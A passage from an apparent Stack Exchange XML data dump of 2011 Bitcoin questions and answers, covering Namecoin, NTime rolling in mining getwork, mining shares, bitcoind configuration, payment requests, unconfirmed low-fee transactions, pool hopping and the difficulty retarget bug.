&lt;em&gt;best&lt;/em&gt; one to use as money.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why I think that any non-Nakamoto-blockchain currency &lt;em&gt;with a significant use other than currency&lt;/em&gt; doesn't detract from the value or usefulness of the Nakamoto chain.  The fact that they can be used as something other than a currency makes them really poor currencies.  The fact that it's easier to exchange them for BTC than for fiat &lt;em&gt;actually slightly increases the usefulness of the Nakamoto chain&lt;/em&gt;.  But of course all of this applies only if the alternate chain has a credible non-currency use.  So far I don't know of any other than NMC.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2011-10-11T22:25:44.853" LastActivityDate="2011-10-11T22:25:44.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostTypeId="2" ParentId="1215" CreationDate="2011-10-12T00:46:54.110" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/namecoingui/comments/l817u/namecoingui/&quot; rel=&quot;nofollow&quot;&gt;A .Net NameCoin GUI&lt;/a&gt; was recently posted to Reddit.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-12T00:46:54.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostTypeId="2" ParentId="1482" CreationDate="2011-10-12T02:20:04.023" Score="17" Body="&lt;p&gt;NTime is the integer timestamp in seconds.  It is one element on the block header. Each second NTime increases by one.    &quot;NTime rolling&quot; is a getwork parameter indicating how many seconds forward a miner can still consider this getwork valid (by incrementing NTime locally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand how this is used lets first take a look at Bitcoin Block Header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a given set of transactions only two elements in the block header change between hash attempts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NTime - current timestamp (changes every second)&lt;/li&gt;&#xA;&lt;li&gt;Nonce - 2^32 number (changes every hash)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So to construct a valid header a miner must have the current value of these two rapidly changing elements.  The other elements of block header are also needed but changes occur much less frequently and trivial for the pool to handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic (inefficient) method to handle these two variables in a getwork request is for the pool to explicitly provide both values in every single header. The pool will provide one getwork every second.  A miner with less than 4.2GH/s however will on average find &amp;lt; 1 nonce per getwork. As an example, a miner which can execute 100MH/s will cover the nonce range (2^32) in 40 seconds.  The pool will need to issue 40 getworks per share.  The avg # of getworks per share will depend on the speed of individual miners however a significant amount of excess communication is occuring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now both nonce range and NTime &lt;strong&gt;are highly predictable&lt;/strong&gt; so a miner could simply be given a starting point and locally change both values.  Doing this significantly reduces the number of getwork requests required to cover the same number of hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By allowing the miner to roll the NTime forward for 10 seconds the pool can cut the number of getworks from 40 to 4 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a benefit for fast miners which are already efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 2 GH/s miner will find on average one nonce every 2 seconds.  With an NTime rolling value of 10 seconds.  The same getwork will enable the pool to acheive 4 nonces per getwork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NTime rolling value instructs the miner how far it can increment NTime (in seconds) before needing to request new work.  So a NTime rolling value of 4 means the miner can use this header for 4 seconds before considering it stale and likewise a value of 40 indicates to the miner it can use same header for next 40 seconds.  Pools can use increasingly large NTime values however there are diminishing returns.  A block is found on average every 600 seconds, and periodically transactions need to be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still an optimal Ntime rolling value ensures the pool is only updating getworks when work has actually updated in a meaningful way (elements changed other than nonce or time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&#xA;A pool provides a 100MH miner a block header containing the current ntime, a nonce range of 0 to 2^32 (full nonce) and an NTime Rolling value of 40.  The miner would hash until the local time increments 1 second (roughly 100 million hashes) then it would increment NTime value and continue to hash for another 1 second (roughly 100 million more hashes).  Once it has incremented NTime 40 times it must request new getwork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proper use of NTime rolling improves pool efficiency by reducing number of getworks per share.  In your example I speculate that Slush looked at the pool logs and determined that some miners were requesting work &quot;too often&quot; indicating they were ignoring or incorrectly using NTime Rolling value.   Obviously a pool operator would want all miners to use latest protocols such as NTime rolling, and Long Polling as it allows a pool server to handle a higher throughput with same amount of hardware, bandwidth and other resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have an exhaustive list but as far as I know any &quot;relatively recent&quot; miner supports NTime rolling (as in released in last 6 months).&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2012-04-16T22:24:56.193" LastActivityDate="2012-04-16T22:24:56.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostTypeId="1" AcceptedAnswerId="1489" CreationDate="2011-10-12T10:38:56.763" Score="15" ViewCount="2074" Body="&lt;p&gt;What are Namecoins exactly, how do they differ from Bitcoins, and how come one is able to merge mine them along with Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2013-03-03T14:02:48.433" LastActivityDate="2013-03-03T14:02:48.433" Title="What are Namecoins?" Tags="|namecoin|currencies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1488" PostTypeId="2" ParentId="1487" CreationDate="2011-10-12T10:56:40.650" Score="1" Body="&lt;p&gt;I don't think it's worth repeating the information, for this particular question I think the best answer would be two links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; and &lt;a href=&quot;http://dot-bit.org/Merged_Mining&quot; rel=&quot;nofollow&quot;&gt;Merged Mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-12T10:56:40.650" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1489" PostTypeId="2" ParentId="1487" CreationDate="2011-10-12T11:04:47.503" Score="11" Body="&lt;p&gt;Namecoin is a distribuited DNS system where information held about a web address (MX, A, etc) are held within the coin itself. Advantages of this are no other company holds the address, unique ownership will always be had due to the way the bitcoin works. (no man in the middle attacks, CA will no longer be needed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific DNS servers are required to browse these sites. There are a handful of public servers available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is being reviewed on a regular basis as it is very young and building a unique usable specification is a challenging task, even with all the features bitcoin has left in place for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this time the extension is .bit although this can be changed or even removed completely if wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/merged-mining-how-will-it-work&quot;&gt;How does merged mining work?&lt;/a&gt; will provide details on Merged Mining.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-10-12T13:14:50.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1490" PostTypeId="1" CreationDate="2011-10-12T11:14:54.333" Score="17" ViewCount="5064" Body="&lt;p&gt;I'm writing a recurring billing system and I want to be able to contact a customer and request a certain amount of money. Is this possible via bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, could a URL be provided the customer so he can simply click it and it opens the bitcoin app and initiates a payment process?&lt;/p&gt;&#xA;" OwnerUserId="564" LastEditorUserId="307" LastEditDate="2011-10-18T14:12:14.543" LastActivityDate="2017-12-29T13:04:08.147" Title="Is there a way to initiate a payment request in bitcoin?" Tags="|transactions|payment|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1491" PostTypeId="1" CreationDate="2011-10-12T11:48:46.850" Score="6" ViewCount="743" Body="&lt;p&gt;Although &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#JSON-RPC&quot;&gt;the API reference&lt;/a&gt; implies that running &lt;code&gt;bitcoin -server&lt;/code&gt; is the same as running &lt;code&gt;bitcoind&lt;/code&gt;, I get no error message when running &lt;code&gt;bitcoin -server&lt;/code&gt; with no bitcoin.conf file but I get teh following error message when invoking &lt;code&gt;bitcoind&lt;/code&gt; -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\Program Files (x86)\Bitcoin\daemon&gt;bitcoind.exe Warning: To use&#xA;  bitcoind, you must set rpcpassword= in the configuration&#xA;  file: C:\Users\thequietcenter\AppData\Roaming\Bitcoin\bitcoin.conf If&#xA;  the file does not exist, create it with owner-readable-only file&#xA;  permissions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;C:\Program Files (x86)\Bitcoin\daemon&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="564" LastActivityDate="2011-10-12T15:28:29.237" Title="`bitcoind` must be different from `bitcoin -server` because one gives an error message the other doesnt" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostTypeId="2" ParentId="1491" CreationDate="2011-10-12T12:47:35.223" Score="3" Body="&lt;p&gt;They're not exactly the same -- they're two different programs. The &lt;code&gt;bitcoind&lt;/code&gt; program is a pure server (or pure RPC client), it contains no GUI at all. The &lt;code&gt;bitcoin&lt;/code&gt; program contains a GUI and can also run in server mode. So being unable to operate as a server is fatal to the server-only version, because there's nothing else it can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you ask the GUI client to run in server mode, it interprets this as an additional request. If it is not configured properly to run in server mode, it will still start up and run the GUI. So for &lt;code&gt;bitcoind&lt;/code&gt;, an improperly configured server mode is fatal -- what else could it do? For &lt;code&gt;bitcoin&lt;/code&gt;, an improperly configured server mode just makes server mode not work; it will still run as a GUI client.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-12T15:28:29.237" LastActivityDate="2011-10-12T15:28:29.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1493" PostTypeId="2" ParentId="1490" CreationDate="2011-10-12T12:50:19.213" Score="3" Body="&lt;p&gt;There is no way to send messages within the Bitcoin system, and there is no URL link in the Bitcoin client yet. Generally, what you do is provide the customer a Bitcoin payment address and an amount either in the web page, by email, or by some other method.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-12T12:50:19.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostTypeId="2" ParentId="1490" CreationDate="2011-10-12T15:21:35.960" Score="1" Body="&lt;p&gt;You can't &quot;contact&quot; a bitcoin user via their address and likely never will because that could be used to compromise the anonymous nature of addresses.  Likewise there is no mechanism to request payments or send bills.  User can simply choose to pay you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you will need to contact the user, link unique payment addresses to a user account and track &quot;time remaining&quot; all &lt;strong&gt;&quot;out of band&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have a webhosting service which costs 1 BTC per 30 days, prepaid.  While there is no concept of periodic billing you could setup your website to create a unique payment address for for each user.  By recording user information and payment address in a database you know how a method to match incoming payments to users. When you receive payments by looking up the user account by the address you can &quot;credit' the correct user account.  The advantage of doing it this way is the user doesn't need to wait for a bill, pay at any preset time, or wait for service to expire.  The concept of periodic payments will need to adapt to bitcoin unique features and limitations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To improve payment rates at every login you could advise the user on the numbers of days remaining and remind them of payment.  User could at anytime send a payment to their unique payment address from any wallet and gain x more days of service based on payment size. You could also have the webservice send the user an email at 7 days remaining, 3 days remaining, and when service is expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actually creating this infrastructure to make it turn key for other companies would be a good bitcoin service.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-13T04:57:45.050" LastActivityDate="2011-10-13T04:57:45.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostTypeId="1" CreationDate="2011-10-12T21:14:20.067" Score="17" ViewCount="9627" Body="&lt;p&gt;Say I have 2 wallets, an older non-encrypted one and a fresh new encrypted wallet with all new addresses. If I have an address in the older wallet that may receive some bitcoins in the future is there away to set it up so that these bitcoins will automatically be sent to an address in the new encrypted wallet. Or do I have to keep my old wallet for ever in case an address in it receives some bitcoins and then manually send them on to the new wallet. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-08-03T17:02:30.637" Title="Is there a way to automatically send bitcoins from one wallet to another?" Tags="|wallet|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1496" PostTypeId="2" ParentId="1495" CreationDate="2011-10-12T22:59:35.503" Score="3" Body="&lt;p&gt;There is a tool to import/export addresses from one wallet to another called &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt;. You can use it to export all address from your old wallet and import then into the new one, and then run bitcoin with &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;-rescan option&lt;/a&gt; to update balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just went through the forum thread, it seems that Pywallet doesn't work yet with 0.4 encrypted wallet, so might have to wait a bit for the update. &lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-12T23:07:50.923" LastActivityDate="2011-10-12T23:07:50.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1497" PostTypeId="2" ParentId="1495" CreationDate="2011-10-12T23:22:03.603" Score="4" Body="&lt;p&gt;Short answer, no you can not make it automatically forward.  You'd have to setup a script that checked the old wallet (bitcoind loaded with that wallet) for a balance and have it transfer to the new one after that.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-10-12T23:22:03.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1498" PostTypeId="1" CreationDate="2011-10-13T05:17:52.613" Score="5" ViewCount="4713" Body="&lt;p&gt;I'm mining (&lt;a href=&quot;http://litecoin.org/&quot;&gt;Litecoin&lt;/a&gt; miner, shouldn't matter) with minerd, and got this in the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2011-10-13 07:12:02] thread 1: 5524 hashes, 0.96 khash/sec&#xA;[2011-10-13 07:12:02] thread 0: 5415 hashes, 0.95 khash/sec&#xA;[2011-10-13 07:12:04] thread 0: 1588 hashes, 0.94 khash/sec&#xA;[2011-10-13 07:12:04] PROOF OF WORK RESULT: false (booooo)&#xA;[2011-10-13 07:12:04] thread 6: 5319 hashes, 0.95 khash/sec&#xA;[2011-10-13 07:12:04] thread 5: 6026 hashes, 0.96 khash/sec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the &quot;Proof of work result: false&quot; mean? Is it a stale block, meaning a block I just solved, but someone else beat me to it and published it first?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-27T16:35:21.090" LastActivityDate="2016-01-27T16:35:21.090" Title="What does &quot;PROOF OF WORK RESULT: false (booooo)&quot; mean when mining?" Tags="|mining-pool-shares|mining-software|minerd|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostTypeId="2" ParentId="1498" CreationDate="2011-10-13T05:55:09.553" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=47417.msg571977#msg571977&quot; rel=&quot;nofollow&quot;&gt;It seems&lt;/a&gt; &lt;code&gt;false&lt;/code&gt; means that the found block was already stale when it was found (submitted).&#xA;Note that true doesn't mean it's not stale, there is still a race condition between different clients. On LiteCoin launch some people reported 90% stales until the first difficulty retarget.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-13T05:55:09.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1501" PostTypeId="2" ParentId="1490" CreationDate="2011-10-13T13:16:59.380" Score="1" Body="&lt;p&gt;If you look at the Bitcoin Wallet app for Android, there is a URI schema used to request money from other users. Unfortunately this isn't part of the desktop version of the application.&lt;/p&gt;&#xA;" OwnerUserId="570" LastActivityDate="2011-10-13T13:16:59.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1502" PostTypeId="2" ParentId="1498" CreationDate="2011-10-13T13:55:11.097" Score="1" Body="&lt;p&gt;You're solo mining. So there's nothing useful you can do with a share -- there's nothing for you to share in. Every share you find will be rejected, unless you actually mine a block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-13T13:55:11.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1503" PostTypeId="1" AcceptedAnswerId="1504" CreationDate="2011-10-13T14:54:14.520" Score="19" ViewCount="6928" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://bitcointalk.org/index.php?topic=22434.5&quot;&gt;this thread&lt;/a&gt; about a client fork that does not force transaction fees and I noticed the big red warning saying that some coins might get lost if I am not careful. What does this mean? What should I do if my transaction is not accepted?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="1878" LastEditDate="2013-03-14T04:11:56.947" LastActivityDate="2020-09-12T17:59:14.990" Title="What happens if my transaction is not accepted because I did not pay fees?" Tags="|transactions|client|confirmations|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostTypeId="2" ParentId="1503" CreationDate="2011-10-13T15:34:57.423" Score="12" Body="&lt;p&gt;If your transaction does not get accepted, you have a few options. Right now, at least for Bitcoin itself, there are still enough miners willing to include any valid transaction. So if you just keep waiting, it should eventually get confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also wish to stop your client and then restart it, manually forcing it to connect to a client &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot;&gt;known to accept transactions without fees&lt;/a&gt;. It can help to disable incoming connections to maximize the chances your transaction will go to the client that will accept transactions without fees. It can take several hours for the transaction to get out, even if you do everything right. (The client intentionally 'dribbles' out transactions to try to hide their origin. This completely fails for transactions with too-low fees, but the client still tries.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can abort the transaction attempt. Stop your client and then make sure the transaction is not in limbo by checking the &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot;&gt;list of pending transactions&lt;/a&gt;. If it's not there, you can stop attempting the transaction to recover the coins. Ideally, you made a backup of your wallet before you attempted to make the transaction -- reverting the wallet and restarting the Bitcoin client with the &lt;code&gt;-rescan&lt;/code&gt; option will remove the transaction. Otherwise, you'll have to (ouch) edit your wallet file to remove the transaction.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-13T17:57:41.307" LastActivityDate="2011-10-13T17:57:41.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1505" PostTypeId="1" AcceptedAnswerId="1506" CreationDate="2011-10-13T15:40:25.280" Score="43" ViewCount="80689" Body="&lt;p&gt;In mining, what is &quot;a share&quot;?&#xA;When mining solo, do I &quot;find shares&quot;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-02-02T09:30:08.327" LastActivityDate="2018-02-11T18:26:09.067" Title="What is a share? Can I find it while mining solo, or only when pool mining?" Tags="|mining-pools|solo-mining|terminology|mining-pool-shares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1506" PostTypeId="2" ParentId="1505" CreationDate="2011-10-13T15:53:44.660" Score="51" Body="&lt;p&gt;A share is a hash smaller than the target for difficulty of 1* (see clarification at end).  Every hash created has a 1 in ~4 billion (2^32) chance of being a valid share.  In comparison if the difficulty of network is 2,000,000 then a share is 2 million times &quot;easier&quot; to find than a valid hash for the block, and on average it will take 2 million shares (8 quadrillion hashes) to find a valid hash for the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shares have no actual &quot;value&quot;.&lt;/strong&gt;  To the bitcoin network they are worthless.  The only hash with any value is the one that is smaller than the target (determined by difficulty).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a miner has no control over when he will generate a share (they occur randomly roughly once per 2^32 hashes) he can't cheat the pool.  When one miner in the pool finds the solution hash (the only hash worth anything) rewards can then be split by number of shares submitted.  There are multiple reward methods (Proportional, PPLNS, SMPSS, PPS, etc) that calculate the &quot;fair share&quot; of the reward but all use a share as a proxy for work completed by the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is important to emphasize that a share has no actual value.  The only hash with value is the one that solves a block.  A share is merely an accounting method to keep the miners honest and fairly divide any rewards earned by the pool.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to keep track of shares in solo mining because you will not split the reward and can't cheat yourself.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Usually pools use a difficulty of 1 as the target for a share.  Technically any difficulty (less than network difficulty) could be used.  Each miner's share of the reward would remain the same regardless of what difficulty is used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="307" LastEditorUserId="659" LastEditDate="2012-02-11T08:44:54.540" LastActivityDate="2012-02-11T08:44:54.540" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostTypeId="1" AcceptedAnswerId="1564" CreationDate="2011-10-13T18:21:43.140" Score="7" ViewCount="1434" Body="&lt;p&gt;I've looked at the way SMPPS (&lt;a href=&quot;http://eligius.st/wiki/index.php/Shared_Maximum_PPS#Basic_Idea&quot; rel=&quot;nofollow&quot;&gt;Shared Maximum Pay Per Share&lt;/a&gt;) payout schemes work, and as far as I can tell, there is no significant way to hop such a pool to advantage. Yet I've seen several people claim that SMPPS pools should not be considered hopper-proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true even if the pool owner seeds the pool with a decent starting reserve of funds and the reserve never hits zero? Or is this only true if the pool reaches the point where it cannot make full payments to miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, is this a realistic fear, like it is with PPS (Pay Per Share) pools? Or is this just something that comes up in a very unlikely scenario with a very unlucky pool?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2016-02-02T09:40:40.413" LastActivityDate="2016-02-02T09:40:40.413" Title="Can an SMPPS (Shared Maximum Pay Per Share) pool be hopped?" Tags="|mining-pools|pool-payout-methods|pool-hopping|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1509" PostTypeId="2" ParentId="1508" CreationDate="2011-10-13T18:40:19.730" Score="4" Body="&lt;p&gt;SMPPS and ESMPPS (&lt;a href=&quot;http://eligius.st/wiki/index.php/Shared_Maximum_PPS#Equalized_SMPPS_.28ESMPPS.29&quot; rel=&quot;nofollow&quot;&gt;Equalised SMPPS&lt;/a&gt;) are &quot;hoppable&quot; only in the sense that they don't explicitly punish hoppers. They are resilient against the prevalent style of hopping but they do nothing to lessen the gains of users who hop away. For this reason, SMPPS (and ESMPPS) are considered &quot;fair&quot; algorithms by hoppers and pools using E/SMPPS are often chosen as &quot;backup pools&quot; to be mined at when no other pools meet their specific criteria. Algorithms like PPLNS (&lt;a href=&quot;http://eligius.st/wiki/index.php/Pay_Per_Last_N_Shares&quot; rel=&quot;nofollow&quot;&gt;Pay Per Last N Shares&lt;/a&gt;) punish anyone who isn't a 24/7 miner regardless of when or how they choose to hop in/out and so aren't even viable as backup pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, it's not realistic (to my knowledge) to say that SMPPS could be in any way gamed by pool hoppers. They are, however, fair to hoppers who choose to use them as a backup pool and so many who are staunchly anti-hopping still consider SMPPS to be bad/inadequate.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="44" LastEditDate="2011-10-14T17:13:18.630" LastActivityDate="2011-10-14T17:13:18.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1510" PostTypeId="2" ParentId="253" CreationDate="2011-10-13T19:22:23.837" Score="1" Body="&lt;p&gt;&lt;strong&gt;In a proportional pool the fee isn't the only factor that influences adoption.&lt;/strong&gt;  Size is also important.   Larger pools result in lower reward variance and this creates a dynamic which makes it difficult for small pools to grow.  Small pool remain unattractive because of high volatility thus can't grow to reduce volatilty and remains small pool.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if tomorrow you forked p2pool and launched p2pool-free unless you had sufficient hashing power it would be difficult to attract miners.  It creates a pradox of needing sufficient hashing power to gain more hashing power.  The desire of low variance is a strong one; three largest pools have mandatory fees yet they have attracted the majority of network hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To grow the pool large enough to create a self sustaining growth cycle would likely require some outside capital.  Capital could be used to provide bonuses or to rent hashing power outright from large miners.  The quandary is that by adopting a 0% fee the investment will never be recovered directly.  The investment may worthwhile indirectly because one potential outcome would be a large decentralized 0%-fee pool that has self sustaining growth.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-20T13:59:03.960" LastActivityDate="2011-10-20T13:59:03.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostTypeId="1" AcceptedAnswerId="1588" CreationDate="2011-10-13T19:45:54.217" Score="21" ViewCount="1095" Body="&lt;p&gt;In this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46498.msg555518#msg555518&quot;&gt;forum post&lt;/a&gt; from Gavin Andresen he writes: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Second: I've written 'discourage blocks' infrastructure:&#xA;    &lt;a href=&quot;https://github.com/gavinandresen/bitcoin-git/tree/discourageblocks&quot;&gt;https://github.com/gavinandresen/bitcoin-git/tree/discourageblocks&lt;/a&gt;&#xA;    (code reviews welcome)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;... which should give us the ability to nudge miners to Do The Right&#xA;  Thing.  Discouraging blocks that appear to be gaming the off-by-one&#xA;  bug should be enough incentive to prevent 50+% cartels from forming,&#xA;  without requiring a blockchain-splitting change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe the off-by-one bug refers to the difficulty re-target being based on the time taken for the previous 2015 blocks instead of 2016 blocks - please correct me if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is how can this bug be gamed by miners? What can they do and what advantage does it give them?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="5406" LastEditDate="2018-01-04T18:25:26.707" LastActivityDate="2018-01-04T18:25:26.707" Title="Gaming the &quot;off-by-one&quot; bug (difficulty re-target based on 2015 instead of 2016 block time span)?" Tags="|security|protocol|timestamp|difficulty-retargetting|time-warp-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1512" PostTypeId="1" AcceptedAnswerId="1516" CreationDate="2011-10-13T19:58:23.323" Score="10" ViewCount="334" Body="&lt;p&gt;In this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46498.msg554064#msg554064&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum post&lt;/a&gt; the poster (2112) writes:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It is my understanding that at least Eligius pool isn't a &amp;quot;honest node&amp;quot; and intentionally produces acausal blocks (or at least as close to acausal as they deem practical).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What is an acausal block? Or at least what did the poster mean by &amp;quot;acausal block&amp;quot;. From reading the thread I get some idea that it is something to do with messing with the timestamp of the block but don't really understand it.&lt;/p&gt;&#xA;&lt;p&gt;Perhaps this should be a separate question but does the block miner determine the timestamp that is recorded in that block?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-02-02T09:45:18.220" Title="What are acausal blocks?" Tags="|mining-pools|protocol|timestamp|eligius|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1513" PostTypeId="2" ParentId="1512" CreationDate="2011-10-13T20:25:36.390" Score="3" Body="&lt;p&gt;He's talking about blocks with timestamps before the previous block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners do determine the timestamp, though it has to be within a certain range. See:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_timestamp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-13T20:25:36.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
